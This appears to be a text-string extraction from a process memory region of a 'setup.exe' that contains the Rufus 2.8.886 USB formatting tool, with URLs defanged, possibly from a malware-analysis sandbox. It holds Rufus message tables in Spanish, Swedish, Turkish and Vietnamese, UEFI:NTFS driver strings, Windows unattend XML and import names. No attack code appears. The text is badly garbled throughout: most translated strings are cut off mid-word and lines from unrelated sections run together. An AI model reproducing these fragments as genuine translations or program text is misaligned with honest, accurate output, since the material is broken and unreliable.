t MSG_275 "La im
"%s (copia de fichero) o modo %s (imagen de disco).\n"
"Rufus recomienda usar el modo %s , as
"Sin embargo, si encuentra problemas durante el arranque, puede intentar escribir de nuevo esta imagen en modo %s.\n\n"
t MSG_276 "Escribir en modo %s (Recomendado)"
t MSG_277 "Escribir en modo %s"
t MSG_279 "No autoarrancable"
t MSG_280 "Selecci
t MSG_281 "(Por favor seleccione una imagen)"
t MSG_282 "Dispositivo USB bloqueado de forma exclusiva"
t MSG_283 "Firma no v
t MSG_284 "El ejecutable descargado carece de firma digital."
t MSG_285 "El ejecutable descargado est
firmado por '%s'.\nNo reconocemos este tipo de firma y podr
t IDC_WINDOWS_INSTALL "Standard Windowsinstallation"
m IDC_NBPASSES 50,0
t IDC_WEBSITE "Tryck h
t MSG_001 "Program redan i g
t MSG_002 "Rufus k
t MSG_003 "VARNING: ALL DATA P
ENHETEN '%s'\nKOMMER ATT F
t MSG_004 "Rufus uppdateringspolicy"
t MSG_005 "Till
t MSG_006 "St
t MSG_010 "Trasiga block funna"
t MSG_011 "Kontroll klar: %d trasiga block funna\n"
sfel\n %d skrivfel\n %d korruptionsfel\n"
t MSG_012 "%s\nEn mer detaljerad rapport hittar du i:\n%s"
t MSG_013 "Inaktiverad"
t MSG_014 "Dagligen"
t MSG_015 "Veckovis"
t MSG_017 "Egen"
t MSG_019 "Senaste version: %d.%d (Build %d)"
t MSG_031 "%s partitionsschema f
r BIOS eller %s"
t MSG_032 "%s partitionsschema f
t MSG_033 "%s partitionsschema f
t MSG_034 "%d g
t MSG_035 "%d g
t MSG_036 "ISO-avbild"
t MSG_037 "Program"
t MSG_039 "Starta"
t MSG_040 "Nedladdning"
t MSG_041 "Operationen avbr
t MSG_042 "Fel"
t MSG_043 "Fel: %s"
t MSG_044 "Filnedladdning"
t MSG_047 "Flera partitioner"
t MSG_050 "Lyckades."
t MSG_051 "Obest
t MSG_052 "Kan inte anv
t MSG_054 "Mediet
t MSG_055 "Enheten anv
t MSG_056 "Enheten g
t MSG_057 "Volymens namn
t MSG_058 "Hantering av enheten
t MSG_059 "Klusterstorlek
t MSG_060 "Volymens storlek
t MSG_061 "S
t MSG_062 "Tog emot ett ogiltigt kommando."
t MSG_063 "Minnesfel."
t MSG_065 "Skrivfel."
t MSG_066 "Installationsfel"
t MSG_067 "Kunde inte
t MSG_068 "Fel n
t MSG_069 "Kunde inte kopiera filer till m
t MSG_070 "Avbruten av anv
t MSG_071 "Kunde inte starta tr
t MSG_072 "Kontroll efter trasiga block slutf
t MSG_073 "Misslyckades s
t MSG_074 "Misslyckades packa upp ISO-avbilden."
t MSG_075 "Kunde inte
t MSG_076 "Kunde inte installera filer f
t MSG_077 "Kunde inte tilldela enhetsbokstav."
t MSG_078 "Kan inte montera GUID-volymen."
t MSG_079 "Enheten
t MSG_080 "Rufus har uppt
ckt att Windows fortfarande t
ter Windows f
t MSG_081 "avbilden st
t MSG_082 "Denna avbild
t MSG_083 "Ers
tt %s?"
t MSG_084 "Denna ISO-avbild verkar anv
nda en gammal version av '%s'.\n"
"'%s' sedan finns d
t MSG_085 "Laddar ned %s"
t MSG_086 "Ingen avbild vald"
t MSG_087 "Tryck p
t MSG_088 "Avbilden
t MSG_089 "Avbilden
t MSG_090 "ISO-filen st
t MSG_092 "Filsystemet st
t MSG_093 "VIKTIGT: DENNA ENHETEN INNEH
r listade eller synliga i Windows. "
t MSG_094 "Flera partitioner uppt
t MSG_095 "DD-avbild"
t MSG_096 "Det valda filsystemet kan inte anv
t MSG_097 "'%s' kan endast till
t MSG_098 "VIKTIGT: Du f
ker att installera 'Windows To Go', men din m
r kommer troligen Windows att l
t MSG_099 "Begr
t MSG_100 "Denna ISO-avbild inneh
t MSG_101 "St
t MSG_102 "Din dator kan inte packa upp filer fr
r att skapa EFI-startbar Windows 7 och Windows Vista USB-enheter. Du kan l
t MSG_103 "Ladda ned %s?"
t MSG_104 "%s eller senare kr
ver en '%s' fil f
%s ISO-avbilder, "
t MSG_105 "Avbryter du, finns det risk enheten blir oanv
t MSG_107 "Alla filer"
t MSG_110 "MS-DOS kan inte starta fr
t MSG_111 "Klusterstorlek st
t MSG_112 "Att formatera en stor UDF-volym kan ta l
"tiden runt %d:d, och under tiden kan f
t MSG_113 "Stor UDF-volym"
t MSG_114 "Denna avbild anv
nder Syslinux %s%s men detta programmet inneh
"Syslinux %s%s.\n\nEftersom nya versioner av Syslinux inte
"internet ('ldlinux.sys' och 'ldlinux.bss'):\n"t MSG_115 "Nedladdning kr
t MSG_116 "Denna avbild anv
nder Grub %s men programmet inneh
"Grub %s.\n\nEftersom olika Grub-versioner inte
"installationsfilen ('core.img') som matchar den frt MSG_150 "Oftast det s
t MSG_151 "Anv
t MSG_152 "Det optimala valet f
t MSG_153 "Testm
t MSG_154 "Testm
t MSG_155 "Testm
t MSG_156 "Testm
t MSG_157 "St
t MSG_158 "Minsta storlek som ett block av data kommer att ta plats i filsystemet"
t MSG_159 "Anv
t MSG_160 "Visa/G
t MSG_161 "Kontrollera enheter om den har trasiga block genom att k
t MSG_162 "Avmarkera om du vill anv
t MSG_163 "Markera f
t MSG_164 "Metod som kommer att anv
t MSG_165 "Klicka f
t MSG_166 "Markera f
tt en enhetsikon (en autorun.inf skapas)"
t MSG_167 "Installera en MBR som till
t MSG_168 "Prova att maskera bort den f
ndigt om du installerar Windows XP och du har mer
t MSG_169 "Skapa en extra g
t MSG_170 "Lista alla USB-h
t MSG_171 "Starta formateringen.\nDetta kommer att RADERA all data p
t MSG_172 "Licensinformation och ber
t MSG_173 "Tryck f
t MSG_176 "Svensk
ttning: Sopor <mailto:sopor@hotmail.com>"
t MSG_177 "Rapportera fel eller om du har n
t MSG_178 "Andra upphovsr
t MSG_179 "Uppdateringspolicy:"
t MSG_180 "Om du v
t MSG_181 "Information om ditt operativsystem och version"
t MSG_182 "Version p
t MSG_183 "Din IP-adress"
t MSG_184 "F
t MSG_185 "Uppdateringsprocess:"
t MSG_186 "Rufus installerar inga bakgrundsprogram, d
vs naturligtvis internettillg
t MSG_187 "Ogiltig avbild f
t MSG_188 "Nuvarande avbild matchar inte det startbara valet. V
t MSG_189 "Denna ISO-avbild
t MSG_190 "Enheten
t MSG_191 "Skrivf
t MSG_193 "Nedladdad %s"
t MSG_194 "Kunde inte ladda ned %s"
t MSG_195 "Anv
nder den inbyggda versionen av %s fil(er)"
t MSG_196 "VIKTIGT: DENNA ENHET ANV
nder %d-byte. "
t MSG_197 "En icke standard sektorstorlek uppt
t MSG_198 "'Windows To Go' kan endast installeras p
lj detta alternativ om du planerar att installera Windows till en annan enhet och du anv
ra Windows direkt fr
t MSG_201 "Avbryter - V
t MSG_202 "S
t MSG_203 "Misslyckades att s
t MSG_204 "Uppt
ckte en gammal %s"
t MSG_205 "Anv
nder avbild: %s"
t MSG_206 "Fil %s saknas"
t MSG_207 "Ny volym"
t MSG_208 "Hittade %d enhet"
t MSG_209 "Hittade %d enheter"
t MSG_210 "REDO"
t MSG_211 "Avbruten"
t MSG_212 "MISSLYCKADES"
t MSG_213 "Startar uppdaterad version..."
t MSG_214 "Kunde inte starta den nya versionen"
ppnad %s"
t MSG_216 "Sparad %s"
t MSG_217 "Formaterar: %0.1f%% klart"
t MSG_218 "Skapar filsystem: Uppgift %d/%d klart"
t MSG_219 "NTFS-Fixup: %d%% klart"
t MSG_220 "Formaterar (%s) - ber
knad tid %d:d..."
t MSG_221 "Skriver etikett (detta kan ta l
t MSG_222 "Formaterar (%s)..."
t MSG_223 "NTFS-Fixup (Checkdisk)..."
t MSG_224 "Rensar MBR/PBR/GPT strukturer..."
t MSG_225 "Beg
t MSG_226 "Analyserar nuvarande startsektor..."
t MSG_227 "St
t MSG_228 "Skriver huvudstartsektor..."
t MSG_229 "Skriver partitionsstartsektor..."
t MSG_230 "Kopierar DOS-filer..."
t MSG_231 "Kopierar ISO-filer..."
t MSG_232 "Win7 EFI boot setup (detta kan ta l
t MSG_233 "Slutbehandlar, v
t MSG_234 "Installerar Syslinux %s..."
t MSG_235 "Trasiga block: %s %d/%d - %0.2f%% (%d/%d/%d fel)"
t MSG_236 "Trasiga block: Testar med varierande m
t MSG_237 "Trasiga block: Testar med m
t MSG_238 "Partitionerar (%s)..."
t MSG_239 "Raderar partitioner..."
t MSG_240 "Laddar ned %s: Ansluter..."
t MSG_241 "Laddar ned: %0.1f%%"
t MSG_242 "Kunde inte ladda ned filen."
t MSG_243 "Kontrollerar efter Rufus uppdateringar..."
t MSG_244 "Uppdateringar: Kunde inte ansluta till internet"
t MSG_245 "Uppdateringar: Har ingen tillg
t MSG_246 "Det finns en ny version av Rufus!"
t MSG_247 "Det finns ingen ny version av Rufus"
t MSG_248 "Programmets registernycklar har tagits bort"
t MSG_249 "Kunde inte radera programmets registernycklar"
t MSG_250 "%s aktiverad"
t MSG_251 "%s inaktiverad"
t MSG_252 "Storlekskontrollen
t MSG_253 "H
t MSG_254 "Tvinga formatera 'large FAT32'
t MSG_255 "NoDriveTypeAutorun kommer att raderas vid avslut"
t MSG_256 "Uppt
t MSG_257 "Joliet-st
t MSG_258 "Rock Ridge-st
t MSG_259 "Tvinga uppdatering
t MSG_260 "NTFS-kompressionen
t MSG_261 "Skriver avbild: %0.1f%% klart"
t MSG_262 "ISO-st
t MSG_263 "Anv
t MSG_264 "Tar bort katalogen '%s'"
t MSG_265 "VMWare diskdetekteringen
t MSG_266 "Dubbla UEFI/BIOS-l
t MSG_267 "Till
mpar Windows-avbild: %0.1f%% klart"
t MSG_268 "Till
mpar Windows-avbild..."
t MSG_269 "Bevara datum och tid
t MSG_270 "USB-fels
t MSG_271 "Ber
t MSG_272 "Ber
t MSG_274 "Avbilden
t MSG_275 "Avbilden du har valt
ge %s (filkopiering) eller i l
ge %s (disk-avbild).\n"
ge %s anv
ge %s.\n\n"
t MSG_276 "Skriv i l
ge %s (Rekommenderas)"
t MSG_277 "Skriv i l
ge %s"
t MSG_278 "Starttyp"
t MSG_279 "Icke startbar"
t MSG_280 "Avbildsv
t MSG_282 "Exklusiv l
t MSG_283 "Ogiltig signatur"
t MSG_284 "Den nedladdade k
t MSG_285 "Den nedladdade k
r signerad av '%s'.\nDetta
t MSG_001 "Rufus
t MSG_084 "ISO
Windows "
"Syslinux %s%s \n\n
" ('ldlinux.sys' and 'ldlinux.bss'):\n""Grub %s \n\n
" ('core.img')autorun.inf
: Sippapas Wangsri <mailto:sippapas_w@cmu.ac.th>"
t MSG_183 "IP address
t MSG_189 "ISO
%d-byte"
NTFS: %d%%"
: %s %d/%d - %0.2f%% (%d/%d/%d errors)"
t MSG_248 "Registry keys
Registry Keys
Windows: %0.1f%%"
%s (file copy)
%s (disk image)\n"
t MSG_286 "Zeroing drive: %0.1f%%"
t IDC_WEBSITE "Websitesine gitmek i
t MSG_001 "Rufus'un zaten
t MSG_003 "UYARI: '%s' AYGITINDAK
t MSG_004 "Rufus g
t MSG_005 "Rufus'un uygulama g
t MSG_006 "Kapat"
t MSG_007 "Vazge
t MSG_008 "Evet"
t MSG_009 "Hay
t MSG_010 "Hatal
t MSG_011 "Denetim Tamamland
: %d hatal
" %d okuma hatas
\n %d yazma hatas
\n %d hata olu
t MSG_012 "%s\nDaha ayr
rapor burada:\n%s"
t MSG_013 "Devred
t MSG_015 "Haftal
t MSG_018 "Mevcut S
m: %d.%d (Yap
t MSG_019 "En son s
t MSG_029 "Varsay
t MSG_030 "%s (Varsay
t MSG_031 "%s B
zeni: BIOS ya da %s i
t MSG_032 "BIOS i
in %s B
t MSG_033 "UEFI i
t MSG_034 "%d Ge
t MSG_035 "%d Ge
t MSG_036 "ISO Yans
t MSG_037 "Uygulama"
t MSG_038 "Vazge
t MSG_041 "Kullan
t MSG_042 "Hata"
t MSG_043 "Hata: %s"
t MSG_044 "Dosya indirme"
t MSG_045 "USB Depolama Ayg
t MSG_048 "Rufus - Tamponlan
t MSG_049 "Rufus - Vazge
t MSG_050 "Ba
t MSG_051 "Bi
t MSG_053 "Ayg
t MSG_054 "Medya yazma korumal
t MSG_055 "Ayg
t MSG_056 "Bu ayg
t MSG_057 "Birim etiketi ge
t MSG_058 "Ayg
t MSG_060 "Birim boyutu ge
t MSG_062 "Destelenmeyen bir komut al
t MSG_063 "Bellek ay
t MSG_064 "Okuma Hatas
t MSG_065 "Yazma Hatas
t MSG_067 "Medya a
t MSG_069 "Dosyalar hedef s
t MSG_070 "Kullan
t MSG_072 "Hatal
t MSG_073 "ISO yans
t MSG_074 "ISO yans
t MSG_075 "Birim yeniden yerle
t MSG_078 "GUID birimi yerle
t MSG_079 "Ayg
t MSG_080 "Rufus Windows'un USB ayg
in Windows'un i
t MSG_081 "Desteklenmeyen Yans
t MSG_082 "Bu yans
t MSG_083 "%s yerde
t MSG_084 "Bu ISO yans
'%s'in eski bir s
"'%s' orda varolunca, otomatik olarak kullan
t MSG_085 "%s indiriliyor"
t MSG_086 "Yans
t MSG_088 "Yans
t MSG_089 "Yans
t MSG_090 "Desteklenmeyen ISO"
t MSG_091 "EFI Hedef T
t MSG_092 "Desteklenmeyen Dosya Sistemi"
"Listelenmeyen ya da Windows'un g
t MSG_095 "DD Yans
t MSG_096 "Mevcut se
t MSG_097 "'%s' sadece dosya sistemi NTFS ise uygulanabilir."
: 'Windows To Go' y
t MSG_099 "Dosya Sistemi S
t MSG_100 "Bu ISO yans
t MSG_101 "Eksik WIM deste
t MSG_102 "Platformunuz WIM ar
labilir Windows 7 ve Windows Vista USB s
t MSG_103 "%s indirilsin mi?"
t MSG_104 "%s yada daha
in '%s' dosyas
r ve %s ISO yans
"'%s' orda varolunca, otomatik olarak kullan
t MSG_105 "Vazge
t MSG_107 "T
t MSG_111 "Uyumsuz Ay
resi %d:d,
t MSG_114 "Bu yans
ma Syslinux %s%s kullan
z Syslinux %s%s i
n('ldlinux.sys' ve 'ldlinux.bss') internett MSG_116 "Bu yans
ma Grub %s kullan
z Grub %s i
"('core.img') edinmeyit MSG_150 "Genellikle en g
t MSG_151 "Bir i
ine Windows XP den eri
t MSG_152 "Bir i
in ve Windows XP i
t MSG_153 "Kal
Dene: 0xX"
t MSG_154 "Kal
Dene: 0xX, 0xX"
t MSG_155 "Kal
Dene: 0xX, 0xX, 0xX"
t MSG_156 "Kal
Dene: 0xX, 0xX, 0xX, 0xX"
t MSG_157 "Hedef Dosya Sistemini Ayarlar"
t MSG_158 "Dosya sisteminde tutulacak en k
t MSG_159 "Bu alan
t MSG_160 "Geli
t MSG_161 "Kal
t MSG_165 "Yans
t MSG_166 "Uluslararas
t simgesini belirleyin (autorun.inf olu
"Bu sadece Windows XP y
t MSG_169 "Ekstra gizli bir b
t MSG_171 "Bi
t MSG_172 "Lisans bilgisi ve Eme
t MSG_174 "Rufus - G
t MSG_175 "S
m %d.%d (Yap
t MSG_176 "T
eviri: Mehmetali KURAN <mailto:mehmetalikuran@gmail.com>"
t MSG_177 "Hatalar
t MSG_178 "Ek Telif Haklar
t MSG_179 "G
t MSG_180 "Programa g
t MSG_182 "Kulland
t MSG_185 "G
t MSG_186 "G
t MSG_188 "Mevcut yans
t MSG_189 "Bu ISO yans
t MSG_190 "Uyumsuz s
t MSG_191 "Yazma ge
t MSG_192 "Okuma ge
t MSG_193 "%s indirildi"
t MSG_194 "%s indirilemedi"
t MSG_195 "%s dosyalar
%d-byte kullan
t MSG_197 "Standart olmayan sekt
t MSG_200 "Windows'u do
t MSG_201 "Vazge
t MSG_202 "Yans
t MSG_203 "Yans
t MSG_204 "Eski %s alg
t MSG_205 "Kullan
ma: %s"
t MSG_206 "Eksik %s dosyas
t MSG_207 "Yeni Birim"
t MSG_208 "%d ayg
t MSG_209 "%d ayg
t MSG_210 "HAZIR"
t MSG_211 "Vazge
t MSG_212 "BA
t MSG_213 "Yeni uygulama ba
t MSG_214 "Yeni uygulama ba
t MSG_216 "%s Kaydedildi"
t MSG_217 "Bi
t MSG_218 "Dosya sistemi olu
rev %d/%d tamamland
zeltme: %d%% tamamland
t MSG_220 "Bi
imlendiriliyor (%s) - Tahmini S
re %d:d..."
t MSG_221 "Etiket Ayarlan
t MSG_222 "Bi
imlendiriliyor (%s)..."
t MSG_224 "MBR/PBR/GPT yap
t MSG_225 "Disk eri
t MSG_226 "Varolan a
t MSG_227 "Varolan birim kapat
t MSG_230 "DOS Dosyalar
t MSG_231 "ISO Dosyalar
t MSG_233 "Bitiriliyor, L
t MSG_235 "Hatal
Bloklar: %s %d/%d - %0.2f%% (%d/%d/%d hata)"
t MSG_236 "Hatal
t MSG_237 "Hatal
Bloklar: 0xX kal
t MSG_238 "B
mlendiriliyor (%s)..."
t MSG_239 "B
t MSG_242 "Dosya indirilemedi."
t MSG_243 "Rufus g
t MSG_244 "G
t MSG_245 "G
t MSG_246 "Rufus'un yeni s
t MSG_247 "Rufus'un yeni s
t MSG_248 "Uygulama kay
t MSG_249 "Uygulama kay
t MSG_250 "%s etkin"
t MSG_251 "%s devred
t MSG_252 "Boyut Denetlemeleri"
t MSG_253 "Sabit Disk Alg
t MSG_256 "Sahte s
t MSG_257 "Joliet deste
t MSG_258 "Rock Ridge deste
t MSG_259 "G
t MSG_261 "Yans
t MSG_262 "ISO Deste
t MSG_263 "UYGUN boyutta birimleri kullan
t MSG_264 "'%s' dizini siliniyor"
t MSG_265 "VMWare disk alg
t MSG_267 "Windows yans
t MSG_268 "Windows yans
t MSG_269 "Zaman damgalar
t MSG_270 "USB Hata Ay
t MSG_271 "Yans
t MSG_273 "Uygulama dilini de
t MSG_274 "ISOHybrid yans
n ya %s (dosya kopyalama) modunda "
"ya da %s (disk yans
"Rufus %s modunun kullan
%s modunda yeniden yazmay
t MSG_276 "%s modunda yazd
t MSG_277 "%s modunda yazd
t MSG_280 "Yans
t MSG_283 "Ge
lebilir dosya '%s' taraf
m IDC_NBPASSES 20,0
t MSG_045 "USB-
'ldlinux.bss')
<mailto:mind.converter@gmail.com>"
s IDC_NBPASSES -20,0
t IDC_WINDOWS_INSTALL "Windows To Go (C
t Windows ti
p...kh
t IDC_WEBSITE "Nh
p website"
t MSG_003 "C
'%s' S
t MSG_004 "Ch
t MSG_005 "B
t MSG_007 "Hu
t MSG_008 "C
t MSG_009 "Kh
t MSG_010 "Ph
t MSG_011 "Ki
n %d kh
c\n %d l
i ghi\n %d l
t MSG_012 "%s\nC
n trong:\n%s"
t MSG_014 "H
t MSG_016 "H
t MSG_017 "Tu
t MSG_018 "Phi
n: %d.%d (B
ng %d)"
t MSG_019 "Phi
t: %d.%d (B
t MSG_029 "M
t MSG_030 "%s (M
t MSG_031 "S
ng %s cho BIOS ho
c %s"
t MSG_032 "S
ng %s cho BIOS"
t MSG_033 "S
ng %s cho UEFI"
t MSG_034 "Qua %d l
t MSG_035 "Qua %d l
t MSG_038 "Hu
t MSG_039 "Kh
t MSG_041 "Ho
t MSG_042 "L
t MSG_043 "L
i: %s"
t MSG_045 "Thi
a %d) [%s]"
t MSG_047 "Nhi
t MSG_048 "Rufus - Xo
t MSG_049 "Rufus - Hu
t MSG_050 "Th
t MSG_051 "L
t MSG_052 "Kh
t MSG_053 "T
t MSG_054 "Thi
t MSG_055 "Thi
t MSG_058 "X
t MSG_059 "K
t MSG_060 "K
t MSG_061 "Vui l
t MSG_063 "L
t MSG_065 "L
t MSG_066 "C
t MSG_067 "Kh
t MSG_068 "L
t MSG_069 "Kh
t MSG_071 "Kh
t MSG_072 "Ki
t MSG_073 "Qu
t MSG_074 "Tr
t MSG_075 "Kh
t MSG_076 "Kh
t MSG_077 "Kh
t MSG_078 "Kh
t MSG_079 "Thi
n Windows v
Windows k
t MSG_083 "Thay th
a '%s'.\n"
y:\n"
t khi '%s' c
ng %s"
t MSG_086 "Ch
t MSG_087 "H
t MSG_090 "ISO kh
t MSG_091 "Khi d
t MSG_092 "H
t MSG_093 "QUAN TR
trong Windows. "
t MSG_096 "Kh
t MSG_097 "Ch
ng '%s' n
t MSG_098 "QUAN TR
t 'Windows To Go', nh
y, Windows c
t MSG_099 "Gi
t MSG_101 "Thi
ng EFI Windows 7 v
Windows Vista. B
ng %s?"
t MSG_104 "%s ho
p tin '%s'
nh ISO %s, "
n:\n"
"'%s' t
t MSG_105 "Hu
t MSG_106 "Vui l
t MSG_108 "Nh
a %d)"
t MSG_110 "MS-DOS kh
t MSG_111 "K
%d:d, trong l
ng Syslinux %s%s nh
"Syslinux %s%s.\n\nPhi
"Internet ('ldlinux.sys' vng Grub %s nh
"Grub %s.\n\nPhi
"('core.img') kht MSG_150 "Th
t MSG_151 "D
t MSG_152 "Tu
p USB cho Windows XP"
t MSG_153 "M
t MSG_154 "M
t MSG_155 "M
t MSG_156 "M
t MSG_158 "K
t MSG_159 "D
t MSG_160 "B
t MSG_161 "Ki
t MSG_162 "B
t MSG_163 "Ch
t MSG_164 "C
t MSG_165 "Nh
t MSG_166 "Ch
t autorun.inf)"
t MSG_167 "C
t MSG_168 "Th
t Windows XP v
t MSG_169 "T
t MSG_170 "K
t MSG_171 "B
t MSG_172 "Th
t MSG_173 "Nh
t MSG_174 "Rufus - Ti
t MSG_175 "Phi
n %d.%d (B
t MSG_176 "B
t: thanhtai2009 <mailto:thanhtai2009@outlook.com>"
t MSG_177 "B
t MSG_178 "B
t MSG_179 "Ch
t MSG_180 "N
t MSG_181 "Ki
t MSG_182 "Phi
t MSG_184 "V
t MSG_185 "Ti
t MSG_186 "Rufus kh
t MSG_190 "Ph
t MSG_191 "Qua l
t MSG_192 "Qua l
t MSG_194 "Kh
t MSG_195 "D
p tin %s
t MSG_196 "QUAN TR
%d byte. "
t MSG_197 "Ph
t MSG_198 "'Windows To Go ch
t MSG_199 "Ch
t Windows v
t MSG_200 "Ch
y Windows tr
t MSG_203 "Kh
n %s c
nh: %s"
t MSG_206 "Thi
p tin %s"
t MSG_207 "O_Dia_Moi"
t MSG_208 "Ph
n %d thi
t MSG_209 "Ph
t MSG_210 "S
t MSG_212 "Th
t MSG_214 "Kh
u %s"
t %d/%d"
t MSG_219 "S
t %d%%"
ng (%s) - th
n %d:d..."
ng (%s)..."
t MSG_223 "S
t MSG_232 "C
t Syslinux %s..."
t MSG_235 "Kh
ng: %s %d/%d - %0.2f%% (%d/%d/%d l
t MSG_236 "Kh
t MSG_237 "Kh
u 0xX"
ng %s:
t MSG_242 "Kh
t MSG_244 "C
t MSG_245 "C
t MSG_247 "Kh
t MSG_249 "Kh
t MSG_251 "%s b
t MSG_252 "Ki
t MSG_253 "Ph
t MSG_254 "Bu
t MSG_255 "NoDriveTypeAutorun s
t MSG_256 "Ph
t MSG_257 "H
t MSG_258 "H
t MSG_259 "Bu
t MSG_260 "N
t MSG_261 "Ghi
t MSG_262 "H
t MSG_263 "D
c '%s'"
t MSG_265 "Ph
t MSG_266 "Ch
nh Windows:
nh Windows..."
t MSG_269 "Gi
t MSG_270 "G
t MSG_272 "T
t MSG_273 "Thay
%s (ch
c %s (
%s, v
t MSG_276 "Ghi trong ch
%s (Khuy
t MSG_277 "Ghi trong ch
t MSG_278 "Ph
t MSG_279 "Kh
t MSG_280 "Ch
t MSG_281 "(H
t MSG_282 "Kho
t MSG_283 "Ch
t MSG_284 "T
t MSG_285 "T
i '%s'.\n
.text
`.rdata
KERNEL32.dll
mkfs.fat
press any key to try again ...
@.data
.reloc
SSh|`
D:\uefi-ntfs\x86_32\Release\bootia32.pdb
.text$mn
.idata$5
.rdata
.rdata$zzzdbg
.idata$2
.idata$3
.idata$4
.idata$6
.data
.pdata
D:\uefi-ntfs\x86_64\Release\bootx64.pdb
.xdata
zF<%us
%s label not found
can't find 0x%X in attribute list
module `%s' isn't loaded
symlink type invalid (%x)
error: %s.
file `%s' not found
invalid file name `%s'
Could not convert device '%s' to UTF-16
C:\efifs\x86_32\Release\ntfs.pdb
C:\efifs\x86_64\Release\ntfs.pdb
This partition was created by Rufus (hXXps://rufus.akeo.ie).
For details, see hXXps://github.com/pbatard/uefi-ntfs.
<settings pass="offlineServicing">
<component name="Microsoft-Windows-PartitionManager" processorArchitecture="x86" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" xmlns:wcm="hXXp://schemas.microsoft.com/WMIConfig/2002/State" xmlns:xsi="hXXp://VVV.w3.org/2001/XMLSchema-instance">
<component name="Microsoft-Windows-PartitionManager" processorArchitecture="amd64" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" xmlns:wcm="hXXp://schemas.microsoft.com/WMIConfig/2002/State" xmlns:xsi="hXXp://VVV.w3.org/2001/XMLSchema-instance">
<settings pass="oobeSystem">
<component name="Microsoft-Windows-WinRE-RecoveryAgent" processorArchitecture="x86" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" xmlns:wcm="hXXp://schemas.microsoft.com/WMIConfig/2002/State" xmlns:xsi="hXXp://VVV.w3.org/2001/XMLSchema-instance">
<UninstallWindowsRE>true</UninstallWindowsRE>
<component name="Microsoft-Windows-WinRE-RecoveryAgent" processorArchitecture="amd64" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" xmlns:wcm="hXXp://schemas.microsoft.com/WMIConfig/2002/State" xmlns:xsi="hXXp://VVV.w3.org/2001/XMLSchema-instance">
CreatePipe
GetSystemWindowsDirectoryW
PeekNamedPipe
RegCloseKey
RegCreateKeyExA
RegDeleteKeyA
RegOpenKeyExA
CertCloseStore
CertFindCertificateInStore
CertFreeCertificateContext
CertGetNameStringA
CryptMsgClose
CryptMsgGetParam
_acmdln
_amsg_exit
SHFileOperationW
ShellExecuteA
ShellExecuteW
CreateDialogIndirectParamW
EnumChildWindows
GetKeyState
GetKeyboardLayoutNameA
HttpOpenRequestA
HttpQueryInfoA
HttpSendRequestA
InternetCrackUrlA
P`.data
`@.eh_framP
0@.bss
.idata
.rsrc
U'=%C
6667555@
MMMÌc
=:6'=:6!
OLG.QNJ
<asmv3:windowsSettings xmlns="hXXp://schemas.microsoft.com/SMI/2005/WindowsSettings">
</asmv3:windowsSettings>
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
publicKeyToken="6595b64144ccf1df"
<requestedExecutionLevel
<!-- If you don't have those in your app, Windows 10's GetVersionEx() -->
<!-- DELIBERATELY reports the WRONG version... which brings us to -->
<!-- Windows 10 -->
<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/><!-- Windows 8.1 -->
<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/><!-- Windows 8 -->
<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/><!-- Windows 7 -->
<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/><!-- Windows Vista -->
<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/>KERNEL32.DLL
ADVAPI32.dll
COMDLG32.DLL
CRYPT32.dll
GDI32.dll
msvcrt.dll
ole32.dll
SETUPAPI.dll
SHELL32.dll
SHLWAPI.dll
USER32.dll
WININET.DLL
WINTRUST.dll
*?,;:/\| =<>[]"
.; Created by %s
; hXXp://rufus.akeo.ie
icon = autorun.ico
label = %s
XX
%s = %s
%s%s%s
File: %ws, Line %u
tmsvcrt.dll
Rufus 2.8.886
Standard Windows installation
Click here to go to the website
!"#$%&'()* ,-./0123456789:
e.txt
a32.ef
64.efi
\efi\rufus\ntfs_ia32.efi
\efi\boot\bootia32.efi
: [%d] %s
*** UEFI:NTFS (%s-bit) ***
Failed to locate driver. Please check that '%s' exists on the FAT partition
Waiting %d seconds before retrying...
ERROR: Could not locate '%s'
Launching NTFS EFI loader '%s'...
Press any key to exit.
d/d/d d:d%c
%*a%X: %-.48a *%a*
Unsupported
TFTP Error
Pci(0x%x,0x%x)
Pccard(0x%x)
MemMap(%d,0x%x,0x%x)
Ctrl(%d)
Ven%s(%g
:x)
Keyboard(%d)
ParallelPort(%d)
Serial(%d)
Floppy(%d)
PciRoot(%d)
PcieRoot(%d)
Acpi(PNPx
Acpi(0x%X
Ata(%s,%s)
Scsi(%d,%d)
Fibre%s(0x6lx,0x6lx)
Usb(0x%x,0x%x)
I2O(0x%X)
%d.%d.%d.%d
%x:%x:%x:%x:%x:%x:%x:%x
Infiniband(0x%x,%g,0x%lx,0x%lx,0x%lx)
Uart(DEFAULT %c
Uart(%d %c
Sata(0x%x,0x%x,0x%x)
HD(Part%d,SigX)
HD(Part%d,Sig%g)
HD(Part%d,MBRType=x,SigType=x)
CDROM(0x%x)
Bss-%s(%a)
x-x-x-xx-xxxxxx
\efi\rufus\ntfs_x64.efi
\efi\boot\bootx64.efi
x64.ef
efifs 0.8.0 ntfs driver (GRUB 2.02~beta2)
Could not read block at address x
FSBindingSupported
DisconnectController[%d]
LogLevel = %d
Open(%llx%s, "%s")
File '%s' can only be opened in read-only mode
Reopening %s
Could not get file attributes for '%s'
Close(%llx|'%s') %s
Cannot delete '%s'
Unable to obtain the size of '%s'
Read(%llx|'%s', %d) %s
Cannot write to '%s'
SetPosition(%llx|'%s', %lld) %s
'%s': Cannot seek to %#llx of %llx
'%s': Position set to %llx
GetPosition(%llx|'%s', %lld)
GetInfo(%llx|'%s', %d) %s
'%s': Cannot get information of type %s
Cannot set information of type %s for file '%s'
Flush(%llx|'%s')
FSInstall: %s
FSUninstall: %s
HardwarePath(%d
AcpiPath(%d
Msg(%d
MediaPath(%d
BbsPath(%d
Path(%d,%d
Akeo Consulting (hXXp://akeo.ie)
2.8.886
hXXp://VVV.gnu.org/copyleft/gpl.html
rufus.exe
setup.exe_1948_rwx_00401000_00262000:
UUUU%UUUU
?:\Windows\System32\sysprep\unattend.xml
00:00:00
*Windows 7 SP1 32 bit
Replace the disk, and then press any key
Press any key to reboot...
Press any key to restart
freeldr.sys not found
